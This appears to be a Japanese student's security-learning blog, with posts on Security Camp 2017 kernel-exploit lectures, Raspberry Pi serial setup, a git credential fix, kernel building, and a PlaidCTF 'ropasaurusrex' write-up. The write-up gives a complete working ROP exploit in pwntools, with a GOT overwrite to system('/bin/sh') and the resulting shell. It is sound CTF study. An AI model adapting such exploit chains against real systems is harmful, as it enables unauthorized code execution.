1日ひとつだけ強くなる

おべんきょうのーと

セキュリティ・キャンプ全国大会2017に参加した

目次

はじめに

8/14〜8/18の5日間、セキュリティ・キャンプ全国大会2017に参加して来ました。

会場は府中刑務所の近くにあるクロスウェーブ府中というところです。

ご飯とか生活環境等の話は他の参加者がブログに書いてある通り、とてもいいです。大して特筆する点はないので割愛します。

公式のアカウントもご飯の写真とか呟いてるし、そういうの気になる人はそっちを見たらいいんじゃないでしょうか。

twitter.com

セキュリティ・キャンプってなに

www.ipa.go.jp

簡単にいうと、全国の22歳以下の学生が集まって情報セキュリティについて4泊5日学びます。

参加するには応募用紙を書いて合格すればいいです。いろんな人が応募用紙を公開しているので、調べれば出て来ます。僕のはこれです。

hal0taso.hateblo.jp

選んだ講義

とりあえず先にどの講義をとったか書いておきます。

  • D1 Linuxカーネルを理解して学ぶ 脆弱性入門
  • D2 カーネルエクスプロイトによるシステム権限奪取
  • D3 カーネルエクスプロイトによるシステム権限奪取
  • B4 Embedded System Reverse Engineering 101
  • B5 信じて送り出した家庭用ルータがNetBSDにドハマリしてloginプロンプトを返してくるようになるわけがない
  • D6 LSMから見た Linux カーネルのセキュリティ
  • B7 組込みリアルタイムOSとIoTシステム演習

事前課題

講義にはそれぞれ事前課題が課されます。講義が決定するのが遅かったことと、直前に大学院の院試や期末試験が重なりなかなか時間を割けずに辛い思いをしました。 基本的に各講義の事前課題の想定所要時間は10時間と決まっているそうです。ただ、これは各自のレベル感にもよるのでピンキリというか、10時間で済むものもあればその約数倍の時間がかかるものもあります。

早い段階で事前課題が出ている講義が多かったため、比較的前半に余裕を持って課題に取り組めたと思います。 ツイッターサイボウズなので他の受講者がどんどん進んで行くので焦りもありますが、自分のペースでやれば最低限必要なレベルまではたどり着けると思います。また、講師の皆さんも優しいので、連絡すれば自分の進度に合わせてサポートしてくれます。

これは解析トラックの事前課題のシェル取れた時。僕は一講義あたり2~3日くらいを目安に事前課題に取り組みました。

Day 1

当日、早朝から新幹線で東京まで向かいました。会場に到着するとすでに参加者同士で名刺交換会が始まっていました。事前にTwitterなどで交流があったので、実際オフ会みたいな雰囲気がありました。

Twitterをしている人々は名刺にアイコンとスクリーンネームくらいはあると名刺交換の時にとりあえず把握してもらえると思います。

去年のCODE BLUEで知り合った学生たちとも再会できました。

初日は開会式とセキュリティ基礎論、特別講義がありました。

セキュリティ基礎論はセキュリティ業界で今後どんな仕事がAIにとって変わられるのか、どんな仕事が残るのかというテーマでグループディスカッションをしました。残念ながら僕はAIに明るくないので、単なるプログラムを用いた自動化とAIの違いがわからず、そもそもAIって何なのかよく知らなかったのですが、グループのみんなふんわりと質問しながら議論を回す役割をやっていました。

特別講義は、JPCERT/CC小宮山さんの「グローバルなサイバーセキュリティのおしごと」、サイバーディフェンス大徳さんの「フォレンジックでサイバー脅威に立ち向かう」というテーマでした。

小宮山さんの話は「凝ったうんこの話」でした。また、実際にサイバーセキュリティの最前線で情報を集める仕事をしている中で経験したことのお話が聞けました。好奇心とにかく手を動かす表層だけではなく詳細な理解をすることが大切だというのが趣旨だったように思います。

大徳さんはリアルでもとても迫力がありました。フォレンジックとは?という話と、実際の仕事でのお話、フォレンジックを仕事にして行くためのTipsみたいな話が聞けました。

セキュキャンには5日間を通してグループで取り組むグループワークがあるので、それをやってから24時くらい23時に寝ました。

Day2

6:30に起きて朝ごはんを食べました。この日は1日中解析トラック(D)にいました。

D1 Linuxカーネルを理解して学ぶ 脆弱性入門

午前中は某ガチャピン先生の講義でした。3パートくらいあって、パート1はLinuxカーネルのメモリ管理の話や、ソースコードを読み解くTipsだったり、カーネルパニック時のトラブルシューティングに役立つデバッグの基礎について学びました。演習では、悪意あるユーザーによってクラッシュしたカーネルのダンプを解析して、何が原因だったのかを調べました。解けなかったので再挑戦します。

パート2ではCopy-on-Writeと、そのバグを用いたCVE-2016-5195 (Dirty Cow)の解説でした。演習では実際にDirty CowのPoCを動かしてファイルが書き変わるのを確認した後、Dirty Cowでの権限昇格を行いました。DIrty Cowではファイル書き換え後、データの不整合によってシステムがクラッシュしてしまうため、1度実行することで権限昇格を行えるバックドア(っぽいもの)を作成するという演習でした。以前cowrootを使って権限昇格を試した際に、ページキャッシュの自動writebackを無効にするとPoCが安定した(クラッシュしなかった)ので、それについて質問してみたんですが、どうもクラッシュは避けられないはずなのにクラッシュしない(????)ということになってしまいました。見てみると書き換え前と書き換え後で偶然ファイルサイズは同じだったのですが、それ以上の情報は得られず、原因不明のまま沼にハマりました。

パート3では id:RKX1209 氏の応募課題で出題された、CVE-2016-0728の解説でした。また、KASLRが有効になった際の対策とその発展として演習がありました。解けてないので再挑戦します。

D2 カーネルエクスプロイトによるシステム権限奪取

id:RKX1209氏によるカーネルエクスプロイトの講義です。これも3パートあります。

パート1は、Intelx64のセグメントの話と、それがLinuxではどう使われているのかの話から、Linuxカーネルによるiret命令の脆弱性を使ったCVE-2014-9322 (Bad IRET)の解説がありました。実際にBadIRETを使ったDoSを試しました。

パート2はCVE-2014-1303を使ったブラウザエクスプロイトの講義がありました。ここでは、WebKitのヒープBOF脆弱性の話を聞きました。OOB Read/Writeによってバッファサイズを書き換え、それによってオーバーフローが発生するというものでした。演習では実際にExploitを動かしてPIDを確認したあと、既存のExploitを修正してファイルシステムダンプ機能を実装するというものでした。事前に講師の方が作成したヘルパー関数を使えたおかげで、実質ROPするだけだった気がします。(正直Exploitの内容をちゃんと理解するのは半日というのは少なすぎで、1週間くらい欲しいです)とは言ったものの、適切なROPガジェットを選べてなかったり使うべきライブラリを間違えてたりしたので、講義終了ギリギリまで解けませんでした。

パート3はBadIRETを使った権限昇格についてです。正直、今講義資料見直して見たんだけど何もわからん。とりあえずちゃんと周辺の資料含め読んでみます。そういえば当日は数時間くらい自由な時間があり、2つめの演習の詰まってるところに取り組んでいた。

最後にちらっとまとめがあり、カーネルエクスプロイトに対するmitigationについてグループでディスカッションしました。id:ywkw1717とかid:ta1se1とかid:klklpshinの仲良しグループで既存の攻撃に対するmitigationに関して色々調べました。

正直講義資料を見てもらう方が僕の記事を読むより5000兆倍わかると思います。

speakerdeck.com

本当に鬼だと思います。

あとはグループワークの話し合いをして25時くらい23時に寝ました。

Day3

7:00に起きて朝ごはんを食べました。この日は1日Bトラックにいました。

B4 Embedded System Reverse Engineering 101

組み込み機器の通信方式であるI2Cについての講義と、実際にBusPirateを使ってICチップ(microchip 24LC64)に書き込みをしたり、その内容を読み出したりした。事前学習ではデータシートの読み取りをしたものの、講義中にもその読み方について解説がありとても勉強になった。また、データシートを読み解くうえで電気回路系の知識や、通信方式についても知識が必要なことを思い知った。後半は家庭用NWルーターからフラッシュROMを取り外して、そのデータをダンプしました。実際にROMからデータを吸い出すのはなかなかない経験で、ファームウェアの解析にも興味が湧きました。

B5 信じて送り出した家庭用ルータがNetBSDにドハマリしてloginプロンプトを返してくるようになるわけがない

Raspberry piNetBSDのイメージを書き込んで起動させました。その後、VMNetBSD環境でラズパイ用にカーネルコンパイルして、既存のイメージファイルと置き換えました。mikutter初めてさわりました。というかNetBSDも初めてさわりました。

この日は講義の後に企業プレゼンがありました。NTTデータの話をききました。ペンテストもやってるの初めて知りました。(診断してるならそれはそう) その後、グループワークして、Day4の事前課題を2時くらいまでやって23時に寝ました。

Day4

この日は7:30に起きました。だんだん起きる時間が遅くなっている….

D6 LSMから見た Linux カーネルのセキュリティ

LSM(Linux Security Module)を使ったAKARIを使ってファイルオープンをフックして、アンチウイルスプロジェクトのClam Antivirus(clamav)に渡すことでオンアクセススキャンを実装しました。講義時間中には最後まで理解することができなかったんですが、なんとかテキストを読みながらついて行きました。ただ、事前学習で取り組んだ内容は基礎的ながら必要なもので、基礎があやふやな自分にはとても助かりました。

B7 組込みリアルタイムOSとIoTシステム演習

GR-PEACHを使ったロボットカーでロボコンみたいなことをしました(ロボコンあまりよく知らないけど)。ただ、GR-PEACHはそれぞれwifiでネットワークに繋がっていて、ブラウザを使って操作するのですが見てみるとHttpリクエストの中に制御するためのパラメータがあるため、そのパラメータとIPアドレスさえ判明すれば標準だと誰でも制御可能でした。僕たちのチームは、動かしているサーバーのポートを変えたり、制御のためのブラウザに渡すパス等を書き換え、またid:ta1se1氏がコンソールで操作するスクリプトをいい感じに作ってくれました。僕はいい感じに見学してたら相手チームに制御用のリクエストを送ったり、相手チームがかけたパスワードをクラックしようとしてたらいつのまにか優勝してました。(正直通信は誰でもできたので、そのリクエストを送るのをいい感じのスクリプトにしてたらもっと楽しかった感がある)

この日はサイボウズの話をききました。サイボウズラボユース気になるしインターンも気になる。 グループワークを2時くらいまでして3時に寝ましたして、23時に寝ました。

Day5

起きたら8時40分だった…..モーニングコールで起きました。ごめんなさい。これをみたオタクは早く寝ることを心がけましょう。

その後すぐにグループワークの最終発表があり、その後閉会式をして解散しました。 書籍はわかものたちが優遇されていて老人たちは最後でした。(ちゃんとみんなもらえます)

最後に

感想です。

キャンプ中はわからないことがたくさんありました。正直、キャンプの終わった今でも資料を見返してみて、いろんなサポートがあったからなんとかなったものの、これをその期間中自分一人で理解しろと言われても無理だったと思います。

ただ、キャンプの最後にも話がありましたが、ここで感じたつらい気持ちは、これから学習していくための糧になるものだと思っています。ここで学んだことはただのきっかけに過ぎず、ただ確かにキャンプに応募するより前よりは多くのことを知り、体験したと思います。この感覚を忘れずに、どんどん新しいことを吸収していくことで強くなりたいです。

おまけ

解散後に参加者有志で飲みに行きました。

その途中で電車がておくれたり

はぐれオタクが発生したり

道に迷うオタクが発生して本当に大変でした。これだからオタクは…

Raspberry pi zero Wでもシリアル通信がしたい!

はじめに

タイトルの通りです。

技適も取れて7月18日に発売が始まったraspberry pi zero wですが、せっかく本体が小さいのにモニターやキーボードなど、でかいインターフェースを使って操作するなんてやってられないと思います。そこで、シリアルコンソールからラズパイに接続したいと思いました。

ちなみに、シリアル接続するにはGPIOピンを自分ではんだ付けする必要があります。

Pi3とPi zero W

実は、rpi3ではシリアル通信に使用されるUARTがBluetoothにデフォルトを取られてしまい、シリアルコンソールを使用する際には設定を変更する必要がありました。

www.briandorey.com

www.briandorey.com

実際に設定を変更せずにRaspbianを起動してシリアル通信を行おうとしても、なにも表示されないため調べていると以下のフォーラムの投稿に行き着きました。

Pi Zero W UART and bluetooth - Raspberry Pi Forums

シリアル通信がしたい!

環境は以下のバージョンです。

RASPBIAN JESSIE LITE July 20172017-07-05

pi zero Wでシリアル通信をするには、/boot/config.txtに以下を追記します。

# いろいろ設定がある
# to enable uart
enable_uart=1

その後変更を保存し、ラズパイを起動します。シリアルコンソールのTXDとRXDはデフォルトではGPIO 14とGPIO 15(GPIOヘッダのピン8と10です) になっているので、そこにscreen等でbaud rate 115200で接続すると無事シリアル接続ができるようになります。

f:id:hal0taso:20170801043915j:plain

Githubでhttpsを使っているのに403: Permission denied エラーが出た話

はじめに

gitを利用するすべての初心者に捧げます

目次

検証環境

$ sw_vers 
ProductName:    Mac OS X
ProductVersion: 10.11.6
BuildVersion:   15G1510
$ uname -a
Darwin hal0taso-2.local 15.6.0 Darwin Kernel Version 15.6.0: Tue Apr 11 16:00:51 PDT 2017; root:xnu-3248.60.11.5.3~1/RELEASE_X86_64 x86_64
$ git --version
git version 2.10.1 (Apple Git-78)

問題の概要

githubでpushすると以下のようなエラーが出ます。403 Forbiddenというやつです。

git push -u origin master
remote: Permission to hal00taso/test403error.git denied to hal0taso.
fatal: unable to access 'https://github.com/hal00taso/test403error.git/': The requested URL returned error: 403

おかしい….httpsを使っているはずなのに…と思って調べてみました

原因

原因は、リポジトリhal00taso/test403errorにpushする権限を持たないユーザーhal0taso(今回のケースでは0が一つ多いことに注意してください)でpushしようとしているためです。

リモートリポジトリにhttp(s)で接続していて認証が必要な場合には、基本的には毎回ログインを求められます。また、二段階認証が必要なシステムの場合、そのトークンはランダムかつunpronounceableなため、更に大変になります。この煩わしさを回避するためにGit にはcredential helperという認証情報を一時的、半永久的に記憶する仕組みがあり、ユーザーがいちいち認証情報を入力する手間を省いてくれます。特にmacではcredential helperにosxkeychainを設定することで、Macのキーチェーンアクセスで管理された認証情報を使用します。

そこで、現在有効になっている設定を確認してみましょう。

$ git config --list
credential.helper=osxkeychain
user.name=hal0taso
user.email=[YOUR EMAIL]
core.excludesfile=/Users/hal0taso/.gitignore_global

1行目を確認すると、確かにcredengial helperが有効になっていることが確認できます。

これはデフォルトの場合パスを無視してしまうため、前回github.comにログインしたユーザー名で認証しようとして失敗することが原因です。

対策

この対策としては以下の4つが挙げられます。

  1. https://hal00taso@github.com/としてURLにユーザー名を含める
  2. 全く記憶しないようにする: configからcredential.helperを消す
  3. 記憶している情報を消す: git credential reject コマンドを使う
  4. 記憶する際にパスも考慮するようにする: credential.useHttpPathtrueにする
  5. Macの場合、osx-keychainの認証情報を更新する

[2017/7/4追記] hubコマンドを使えという嬉しいマサカリが id:jtwp470 から飛んできたので、こちらに追記させていただきます。hubコマンドも対策必要です。 github.com

なお、gitの設定とそれが記述されているファイルパスは以下のようにして調べることができます。

$ git config --list --show-origin
file:/Applications/Xcode.app/Contents/Developer/usr/share/git-core/gitconfig    credential.helper=osxkeychain
file:/Users/hal0taso/.gitconfig user.name=hal0taso
file:/Users/hal0taso/.gitconfig user.email=[YOUR EMAIL]
file:/Users/hal0taso/.gitconfig core.excludesfile=/Users/hal0taso/.gitignore_global

これを確認してみると、Macの場合はXcodeによって設定されているようです。

macでのOSX Keychainシステムの認証情報の更新、削除に関しては以下のリンクを参照してください。OSX Keychainシステムとは、Keychain Access.appから認証情報を取得する仕組みのことです。

Updating credentials from the OSX Keychain - User Documentation

[おまけ] git credential helperの裏側

さて、ではcredential helperはどのようにして動作しているのでしょうか。Gitのcredential helperのための基本的なコマンドはgit credentialです。これは、コマンドに引数を渡して、更に標準入力から必要な情報をとって利用されます。

例をみてみましょう。以下のようにgit credential fillと端末上で入力することで、Git-credentialの対話モードを開始することができます。

$ git credential fill
protocol=https
host=github.com

protocol=https
host=github.com
username=hal0taso
password=PASSWORD

まず、Git-credentialは標準入力からの入力を待機します。ここでは現在わかっている情報である、プロトコル(https)とホスト名(github.com)を入力します。空白行を渡すことでGit-credentialに入力が完了したことを知らせます。すると、その入力にヒットした内容が標準出力に表示されます。

この情報を渡すことによって、ユーザーは認証情報を入力する必要がなくなります。

より詳しい解説はGitの以下のページにあるので、そちらを読んでみることをおすすめします。

Git - 認証情報の保存

参考

Git - Credential Storage

Updating credentials from the OSX Keychain - User Documentation

git - githubへgit pushしようとすると403エラーとなる - スタック・オーバーフロー

osx - How do you reset the stored credentials in git credential-osxkeychain? - Stack Overflow

Gitで有効な設定を確認したい - Qiita

セキュリティミニキャンプ神戸に参加してきた

はじめに

7/1にセキュリティミニキャンプ神戸に参加してきました。

ハッカーペネトレーションテスター)の考え方とハンズオン

田中ザックさん講師のもと、前半はハッカーとは?ハッカの考え方を知ろうという講義を受けました。

エクスプロイトコードが公開されるとセキュリティリスクが2段階上がるという話は初見で、実務的な話を聞けてとてもよかったです。

後半はペネトレーションテスト形式のCTFにチャレンジしました。writeupを簡単に書こうと思ったのですが、諸事情により来月以降に更新します。

実はMetasploitを使用するのは初めてだったので、とてもいい経験をさせてもらいました。

フラグは3つあって、当日は2つまでしか見つけられなかったのですが、ちゃんと最後に権限昇格までして3つめのフラグまで獲得することができました。 と言っても既存のPoCを動かしてみただけですが、その脆弱性について勉強するきっかけになり、また簡単にrootが取れるのを目の当たりにして、とても恐ろしい脆弱性だなぁと思いました(KONAMI

お昼ご飯

お昼はチューターの某くんにGSoCの話とかいろいろ聞かせてもらいました。

ハニーポットを用いた分析ハンズオン

ハニーポットとは?という話と、いろいろなハニーポット、実際にハニーポットを構築して、カスタマイズするハンズオンを行いました。

ここでは、Dionaeaというハニーポットを使ってハニーポットVM上に設置し、ログを解析しました。またそこにwebページを設置することでカスタマイズして、自分だけのハニーポットを作ろう!という講義でした。

Dionaeaはハエトリグサの意味で、主にマルウェア収集などの目的で利用されるハニーポットです。 提供サービスはSMB , HTTP , HTTPS , FTP , TFTP , MSSQL , MySQL , SIPで、例えば少し前に流行っていたのWannaCryの収集にも使われていたりもします。

当日UbuntuVMが配布され、そこにDionaeaをインストールして、nginxでワードプレスを動かしてより本物のサービスに似せていく、ということをハンズオンで行いました。また、ポートスキャンやログインの試行など、実際に攻撃することで出力されるログについて見ていきました。

SSHの低対話型ハニーポットのCowrieは使ったことがあったのですが、Dionaeaを設置したり、ハニーポットをカスタマイズしていくのは初めてで、とても勉強になりました。 sqliteのファイルでログを出力してくれていたので、データの可視化なども楽に行えそうでとても使いやすそうな印象でした。

またラズパイに導入して使ってみたいと思います。

感想

とてもいい勉強になりました。特に、ペネトレーションテスト形式のCTFはとても面白く、しかもツールを使うことで初心者の人でも敷居が低くなるのではないかと思いました(当日は、講義の中でザックさんの解説や資料にコマンドの説明が入っていたのもあるかと思います)。

ポートスキャンから動いているサービスを見つけて脆弱性を探していって権限昇格まで目指す、というのはとても面白くて、知らないことがたくさん出てくるので学ぶことも多く、またツールを使って手軽にできるので、テンポよく進めることができるので、とても楽しかったです。

CTFでVMを配布してそれを攻略してもらうってのはとてもいい方法だなぁと思ったので、勉強会でやってみたい良さそうなネタができました。

togetterでもまとめられてたみたいです。

togetter.com

PlaidCTF 2013: ropasaurusrex - 200 *Level1*

動機

先週末はgoogleCTF参加したんですが、EasyのInstProfではバイナリの解析してからが進めませんでした。

writeupを見たら限られた4バイトでROP組んでて、そういえばROPに苦手意識があったのを思い出した。

そこでkatagaitai勉強会の資料を一部参考にしながら、ropの問題を解いてみた。 なお、katagaitai資料にはLevel5まであり、まだLevel1しかとけていないのだが、これも順次解いてwriteupを上げていきたい。

speakerdeck.com

毎度ながらkatagaitaiの資料にはたくさん学ぶことがある….

ropasaurusrex

問題のバイナリはここら辺から。

http://shell-storm.org/repo/CTF/PlaidCTF-2013/Pwnable/ropasaurusrex-200/

いかにもROP使いますって問題なので、まずは事前調査してみる。

$ file ropasaurusrex
ropasaurusrex: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092, stripped
$ checksec ropasaurusrex
[*] '/home/ubuntu/writeup/bata/easy/ropasaurusrex/ropasaurusrex'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ELF 32bitでstrippedなバイナリ。セキュリティ機構はNXのみ。

実行してみる

まずは実行してみる。

$ ./ropasaurusrex 
AAAA
WIN

標準入力からの入力を待ち受けていて、何か入力すると"WIN"って帰ってくる。Canaryもないし、BOFかなぁ〜と思ってidaで解析してみると、mainで呼ばれている関数(ここではgetInputと呼ぶことにする)にBOF脆弱性があることがわかる。

f:id:hal0taso:20170625165505p:plain

みると、バッファのサイズは88byteなのに256byte分だけreadしている。そこで、EIPが取れるか確認してみる。

$ gdb ./ropasaurusrex -q
$ r
Starting program: /home/ubuntu/writeup/bata/easy/ropasaurusrex/ropasaurusrex 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b

Program received signal SIGSEGV, Segmentation fault.
[-------------------------------registers--------------------------------]
EAX: 0x100 
EBX: 0xf7fb3000 --> 0x1abda8 
ECX: 0xffffd070 ("AAA%AAsAABAA$AA"...)
EDX: 0x100 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41514141 (b'AAQA')
ESP: 0xffffd100 ("RAAnAASAAoAATAA"...)
EIP: 0x41416d41 (b'AmAA')
[----------------------------------code----------------------------------]
Invalid $PC address: 0x41416d41
[---------------------------------stack----------------------------------]
00:0000| esp 0xffffd100 ("RAAnAASAAoAATAA"...)
01:0004|     0xffffd104 ("AASAAoAATAApAAU"...)
02:0008|     0xffffd108 ("AoAATAApAAUAAqA"...)
03:0012|     0xffffd10c ("TAApAAUAAqAAVAA"...)
04:0016|     0xffffd110 ("AAUAAqAAVAArAAW"...)
05:0020|     0xffffd114 ("AqAAVAArAAWAAsA"...)
06:0024|     0xffffd118 ("VAArAAWAAsAAXAA"...)
07:0028|     0xffffd11c ("AAWAAsAAXAAtAAY"...)
[------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ 
gdb-peda$ patto AmAA
AmAA found at offset: 140
gdb-peda$ 

140byte以降でEIPを奪えることがわかった。

ROP

xinetd型の問題なので、system("/bin/sh")を呼んでやればよい。しかし、今回はNXが有効なので、shellcodeを流し込むにしてもスタック内での実行が不可能である。こういう時はmmapまたはmprotectでRWX属性のメモリ領域を確保してやるなどする必要があるが、バイナリではどちらの関数も利用していないので、pltエントリにはなく、libcから呼んでやる必要がある。libcのアドレスわかってるならlibcから呼んだ方が早いので、libcからsystemを呼ぶことにする。そのためにはlibcのベースアドレスを知る必要がある。まず、pltエントリとgotエントリを調べてみる。

$ objdump -d -M intel ./ropasaurusrex | grep "@plt>:" -A 1
080482fc <__gmon_start__@plt>:
 80482fc:   ff 25 10 96 04 08       jmp    DWORD PTR ds:0x8049610
--
0804830c <write@plt>:
 804830c:   ff 25 14 96 04 08       jmp    DWORD PTR ds:0x8049614
--
0804831c <__libc_start_main@plt>:
 804831c:   ff 25 18 96 04 08       jmp    DWORD PTR ds:0x8049618
--
0804832c <read@plt>:
 804832c:   ff 25 1c 96 04 08       jmp    DWORD PTR ds:0x804961c

readとwriteが使えるっぽい。GOT OverwriteでGOTの適当な関数を書き換えてやればよくて、あとは/bin/shなんだけど、これは資料を参考にさせてもらった。具体的には、書き込み可能なセクション(今回は.dataセクションにした)に文字列/bin/shをreadとかで書いてやって、関数の引数としてスタックに積む時は.dataセクションのアドレスを入れてやればよい。(なるほど〜〜〜〜)

攻撃の方針としては、

  1. write(1(stdout), write@got, 4)でlibcでwriteがどこにロードされているのか調べる
  2. read(0(stdin), .data, 8)で.dataセクションに/bin/sh\x00を書き込む
  3. read(0(stdout), write@got, 4)でwriteのGOTをsystemのアドレスに書き換えてやる。

この時、それぞれスタックに引数が溜まっていくので、バイナリ中のpopxN retとなるコード片を利用してスタックの引数を除去してやればよい(ROPっぽい…!)そのようなコード片はrp++とか使えば見つかる。今回はいずれも3つ引数が積まれている状態を想定しているので、pop3ret的なのを探す。

$ rp-lin-x64 -f ./ropasaurusrex -r 4 | grep pop
# 中略 
0x080484b6: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)

使ってるlibcからsystemのアドレスを確認しておく。

$ ldd ./ropasaurusrex
    linux-gate.so.1 =>  (0xf7798000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75c4000)
    /lib/ld-linux.so.2 (0x565ff000)
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep system
00040310 T __libc_system
0011b710 T svcerr_systemerr
00040310 W system

Exploit

上記の情報から、エクスプロイトを記述していく。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(arch = 'i386', os = 'linux')
#context.log_level="debug"

r = remote('localhost', 1025)
# EXPLOIT CODE GOES HERE

# for debug
def bp():
    input()

'''
# Exploit plan
- get libc address
- call write(1, write@got, 4) -> get libc_write
- call read(0, .data, 8) -> set '/bin/sh\x00'
- call read(0, write@got, 4) -> overwrite write to system
- call system('/bin/sh')

# stack plan
---------
write@plt
---------
pop3ret
---------
1(stdout)
---------
write@got
---------
4
---------
read@plt
---------
pop3ret
---------
0(stdin)
---------
.data
---------
8
---------
read@plt
---------
pop3ret
---------
0(stdin)
---------
write@plt
---------
4
---------
write@plt(system)
---------
0xdeadbeef
---------
.data('/bin/sh')
---------
'''
got_write     = 0x08049614

plt_write     = 0x0804830c
plt_read      = 0x0804832c

offset_system = 0x00040310
offset_write  = 0x000dd300

pop3ret       = 0x080484b6
addr_data     = 0x08049620

# build rop
buf = 'A'*140
buf += p32(plt_write)
buf += p32(pop3ret)
buf += p32(1) + p32(got_write) + p32(4)

buf += p32(plt_read)
buf += p32(pop3ret)
buf += p32(0) + p32(addr_data) + p32(8)

buf += p32(plt_read)
buf += p32(pop3ret)
buf += p32(0) + p32(got_write) + p32(4)

buf += p32(plt_write)
buf += p32(0xdeadbeef)
buf += p32(addr_data)
r.send(buf)


ret = u32(r.recv())
print('write@got: {}'.format(hex(ret)))
print('libc_start: {}'.format(hex(ret - offset_write)))
addr_system = ret - offset_write + offset_system
print('system: {}'.format(hex(addr_system)))

r.send('/bin/sh'+'\x00')

buf = p32(addr_system)
r.send(buf)

r.interactive()

これでシェルが起動する。

$ socat tcp-listen:1025,reuseaddr,fork exec:./ropasaurusrex
$ ./exploit.py 
[+] Opening connection to localhost on port 1025: Done
write@got: 0xf76ad300
libc_start: 0xf75d0000
system: 0xf7610310
[*] Switching to interactive mode
$ whoami
ubuntu

感想

ROP、基本的な考えとしてはバイナリ中の実行権限のある既存のコード片(ROPガジェット)をうまく組み合わせてExploitを記述しよう!という考え方なので、まずは攻撃のプランを具体的に組み立てる能力が必要なのでは、と思った。 基礎的な知識や経験が手を動かさないうちに抜けて行ってしまうので(当然)これからもやっていくぞ!という気持ちです。

院試が終わって一息ついたらもっと時間とってやりたい。

カーネルをソースコードからビルドする

はじめに

カーネルをビルドする時というのは誰にでもやってくる可能性がある。カーネル脆弱性についてのPoCやオリジナルのエクスプロイトを動かしてみたい時、カーネルモジュールを作ってみたくなった時、自分でカーネルのチューニングをしてみたくなった時など。

今回は某の課題でカーネルをビルドして脆弱性を再現するという目的で試してみたので、そこでやったことと、調べたことをまとめておく。

やっていき

softwaretechnique.jp

このサイト参考にしてカーネルのビルドしたんだけど、うまくいかなかった。

と思ったら、こちらの記事をみると、makeを使ってビルドできるとのことなので、こちらを参考にして試したことを書いていく。

itpro.nikkeibp.co.jp

itpro.nikkeibp.co.jp

ソースのダウンロード

まず、以下のリンクから/usr/src/ディレクトリにwgetなどで任意のバージョンのカーネルのtarballをダウンロードして、展開する。

https://cdn.kernel.org/pub/linux/kernel/

# cd /usr/src/
# wget https://cdn.kernel.org/pub/linux/kernel/v3.x/linux-3.8.1.tar.gz
# tar xf linux-3.8.1.tar.gz

一応、linuxというシンボリックリンクを貼っておくのがいい。カーネルのソースを使うプログラムでは、この場所をカーネルのソースだとしているものもあるためである。

# ln -s linux-3.8.1 linux

コンパイル

# cd linux-3.8.1
# make oldconfig

これで.configファイルを生成する。カーネルの設定を変更する際には、manuconfigコマンドを使用すれば良い。僕の場合はSMAP機能を無効化したかっただけなので、直接.configファイルのCONFIG_X86_SMAP=nに変更した。

カーネル2.6以降はmakeだけでいいようだ。 また、動的にモジュールを組み込むカーネルとしてコンパイルした場合には,ローダブル・モジュールのコンパイルが別途必要になる。

# make
# make modules

インストー

# make modules_install
# make install

これで、再起動すれば新しいカーネルで起動することができる。

デフォルトで起動するカーネルを変更する

デフォルトで起動するカーネルを変更したい場合は、/boot/grub/grub.cfgを編集すればよい。

以下の部分を変更する。

#                                                                                                                      
# DO NOT EDIT THIS FILE                                                                                                
#                                                                                                                      
# It is automatically generated by grub-mkconfig using templates                                                       
# from /etc/grub.d and settings from /etc/default/grub                                                                 
#                                                                                                                      

### BEGIN /etc/grub.d/00_header ###                                                                                    
if [ -s $prefix/grubenv ]; then
  set have_grubenv=true
  load_env
fi
if [ "${next_entry}" ] ; then
   set default="${next_entry}"
   set next_entry=
   save_env next_entry
   set boot_once=true
else
   # この行を編集
   set default="gnulinux-advanced-66cbee71-3ca7-4246-b214-139f7331adc3>gnulinux-3.18.25-advanced-66cbee71-3ca7-4246-b2\
14-139f7331adc3"
fi

#########
# 以下略 #
#########

det default=のところを編集する。

gnulinux-advanced-66cbee71-3ca7-4246-b214-139f7331adc3は既に記述されていた部分で、末尾に>gnulinux-3.18.25-advanced-66cbee71-3ca7-4246-b214-139f7331adc3を追記する。

ここの追記する内容は、submenu 'Advanced options for Ubuntu'ってところに書いてある。

起動したいバージョンのmenuentryから、

 menuentry 'Ubuntu, with Linux 3.8.1' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_opt\
ion 'gnulinux-3.8.1-advanced-66cbee71-3ca7-4246-b214-139f7331adc3'

ここの末尾のgnulinux-3.8.1-advanced-66cbee71-3ca7-4246-b214-139f7331adc3に対応する部分を追記すればいい。

たぶん起動できるはず。

(grubのところは思い出しながら書いてるので、間違ってることとかエラー出たとかあればコメントしてほしい)

セキュリティキャンプ全国大会 2017 に応募してきたので応募用紙と感想

2017年6月16日追記

セキュリティキャンプ2017年受かりました。たくさん学んできます。

はじめに

セキュリティキャンプ全国大会に応募してきました。

www.ipa.go.jp

この一ヶ月間はほとんどこの応募課題に取り組んでいました。選択課題はA-4,A-5,A-6に取り組みました。理由は、リバースエンジニアリング系に興味があり、今回のセキュリティキャンプでは主にその講義を受講したいと思ったためです。また、問題をパッと見たときに全くわからなかったので、1ヶ月あるから十分に手を動かす時間はあるし、面白そうだからという理由で選択しました。

考察が甘かったり、表現が間違っていることが多々あるかとは思いますが、大目に見るかコメントでマサカリを投げてくれると助かります><

設問の感想

回答がとても長いため、先に感想を書いておきます。正直この1ヶ月はめちゃくちゃ大変でしたが、今思い返すと初めて挑戦することばかりだったので、いい勉強になりました。また、問題を解きながら更にセキュリティキャンプに行きたい気持ちが高まっていきました。

選択問題は以下の問題を回答しました。

  • A-4
  • A-5
  • A-6

A-4 printf()について調べる問題

